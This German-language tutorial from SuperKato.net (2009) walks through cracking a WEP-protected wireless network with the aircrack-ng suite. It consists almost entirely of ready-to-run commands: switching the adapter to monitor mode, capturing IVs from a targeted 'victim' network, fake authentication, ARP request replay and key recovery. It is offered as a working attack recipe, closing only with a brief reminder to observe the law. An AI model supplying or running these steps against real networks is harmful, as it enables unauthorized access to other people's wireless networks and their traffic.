PDF-Version: SuperKato Tutorial: Quick & Dirty WEP Cracking

By http://www.SuperKato.net (Author: Ersan Günes, Version 1.0 April 2009)

Mein System:
Ubuntu 8.10 x86 32Bit mit Intel WiFi Link 5100 (Centrino2) Wlan Adapter
Aircrack-ng 32Bit Version
Wlan Adapter Name "wlan0" bzw. "mon0"
BSSID des Opfer Wlans : 7E:40:80:00:14:6C
ESSID des Wlands: "testwlan"
Meine "Wlan0" Adapter Mac Adresse: 00:0F:AC:82:AC:82
Alle Befehle bitte als root ausführen! Sprich vor jedem Befehl ein "sudo" dransetzen oder gleich von Anfang an "sudo -s" eingeben und alle weiteren "sudo" Befehle vernachlässigen. Alle Befehle sind in einer Zeile geschrieben bitte lasst euch nicht vom Zeilenumbruch hier auf dieser Website irritieren!

0. Opfer Wlan suchen mit "airodump-ng"

```
sudo airodump-ng wlan0
```

1. Karte in Monitor Mode mit "airmon-ng" (z.B. Channel 6 für Opfer Wlan)

```
sudo airmon-ng start wlan0 6
```

Jetzt nur noch mon0 als Adapter Alias Namen für die Befehle verwenden!

1.1 Karte in Monitor Mode mit iwconfig und ifconfig (mit z.B. Channel 6 für Opfer Wlan)

```
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo iwconfig wlan0 channel 6
sudo ifconfig wlan0 up
```

Jetzt einfach wlan0 weiter als Adapter Alias Namen verwenden bei den Befehlen!

2. IVs Sammeln mit "airodump-ng"

```
sudo airodump-ng -c 6 --bssid 7E:40:80:00:14:6C -w output mon0
```

3. Fake Authentication mit "aireplay-ng" Methode 1

```
sudo aireplay-ng -1 0 -e testwlan -a 7E:40:80:00:14:6C -h 00:0F:AC:82:AC:82 wlan0
```

3.1 Fake Authentication mit "aireplay-ng" Methode 2

```
sudo aireplay-ng -1 6000 -o 1 -q 10 -e testwlan -a 7E:40:80:00:14:6C -h 00:0F:AC:82:AC:82 wlan0
```

4. ARP Request Replay Mode mit "aireplay-ng" (Pakete Sammeln)

neues Terminalfenster öffnen und eingeben:

```
sudo aireplay-ng -3 -b 7E:40:80:00:14:6C -h 00:0F:AC:82:AC:82 wlan0
```

5. WEP Key mit "aircrack-ng" aus den Paketen cracken Methode 1 (PTW)

```
sudo aircrack-ng -z -b 7E:40:80:00:14:6C output*.cap
```

5.1 WEP Key mit "aircrack-ng" aus den Paketen cracken Methode 2

```
sudo aircrack-ng -b 7E:40:80:00:14:6C output*.cap
```

5.2 WEP Key mit "aircrack-ng" aus den Paketen cracken Methode 3 (FMS/KoreK)

```
sudo aircrack-ng -z -k -b 7E:40:80:00:14:6C output*.cap
```

Anschließend wird Aircrack euch den WEP Key als Hex/Dec Wert auspucken oder als alphanummerischen KEY. Ihr benötigt ca. 20.000 Pakete um ein WEP Key herauszucracken manchmal auch mehr oder weniger. Es gibt auch einen Haufen anderer WEP Key Crack Methoden, diese gibt es in der Aircrack-ng Help gegenübergestellt zum nachlesen. Jedoch sind die ersten beiden Methoden (1&2) die gängigsten.
Viel Spaß und beachtet die geltenden Gesetze
Euer http://www.SuperKato.net Team!